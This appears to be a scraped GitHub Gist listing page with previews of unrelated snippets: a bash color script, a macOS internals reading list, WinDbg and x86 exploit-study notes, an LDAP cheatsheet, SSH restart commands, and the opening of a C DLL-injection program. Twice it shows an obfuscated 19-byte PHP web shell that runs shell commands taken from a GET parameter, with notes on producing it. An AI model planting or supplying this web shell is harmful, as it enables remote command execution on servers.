Skip to content

Instantly share code, notes, and snippets.

#! /bin/bash
# NOTE: To make use of a wider color pallet set the TERM enviornment variable TERM=xterm-256color
# Colors
BOLD=$(tput bold)
NOCOLOR=$(tput sgr0)
RED=$(tput setaf 1)
GREEN=$(tput setaf 2)
YELLOW=$(tput setaf 3)
@kconner
kconner / macOS Internals.md
Last active June 7, 2025 16:40
macOS Internals

macOS Internals

Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.

Starting Points

How to use this gist

You've got two main options:

@0xSojalSec
0xSojalSec / rev_shell.php
Created January 28, 2023 18:46 — forked from terjanq/rev_shell.php
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
Knowledge Area recommendations
ASM x86 & WinDbg Get Your self familiar with x86 Assembly.
Learn how to call Win32 APIs from assembly.
Understand the use case of each register (Why it’s EAX not EBX)
Custom and save your WingDBG workspace according to the binary/attack you are working on.
Get familiar with common WinDbg command such as :
1.Search for Bytes, ANSI, ASCI DWORDS, etc.. in memory
2. Show Specific memory permissions (Read, Write, Execute)
3. Manually explorer PE Headers and Sections.
4. List out the loaded modules.
@jonlabelle
jonlabelle / ldap_search_filter_cheatsheet.md
Last active June 2, 2025 18:51
LDAP Search Filter Cheatsheet
@trietptm
trietptm / dllinject.c
Created September 10, 2020 17:47 — forked from v14dislav/dllinject.c
dll path injection. depends on LoadLibrary()
#include <windows.h>
#include <tlhelp32.h>
DWORD getProcessID() {
DWORD processID = 0;
HANDLE snapHandle;
PROCESSENTRY32 processEntry = {0};
if( (snapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) {
return 0;
@influx6
influx6 / restart-ssh.bash
Last active March 24, 2025 02:52
Restart SSH on Mac Terminal (High Sierra)
# high sierra
sudo launchctl stop com.openssh.sshd
sudo launchctl start com.openssh.sshd
# latest
sudo vim /etc/services # (update the port config for ssh and save)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
@terjanq
terjanq / rev_shell.php
Last active December 27, 2024 14:54
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation: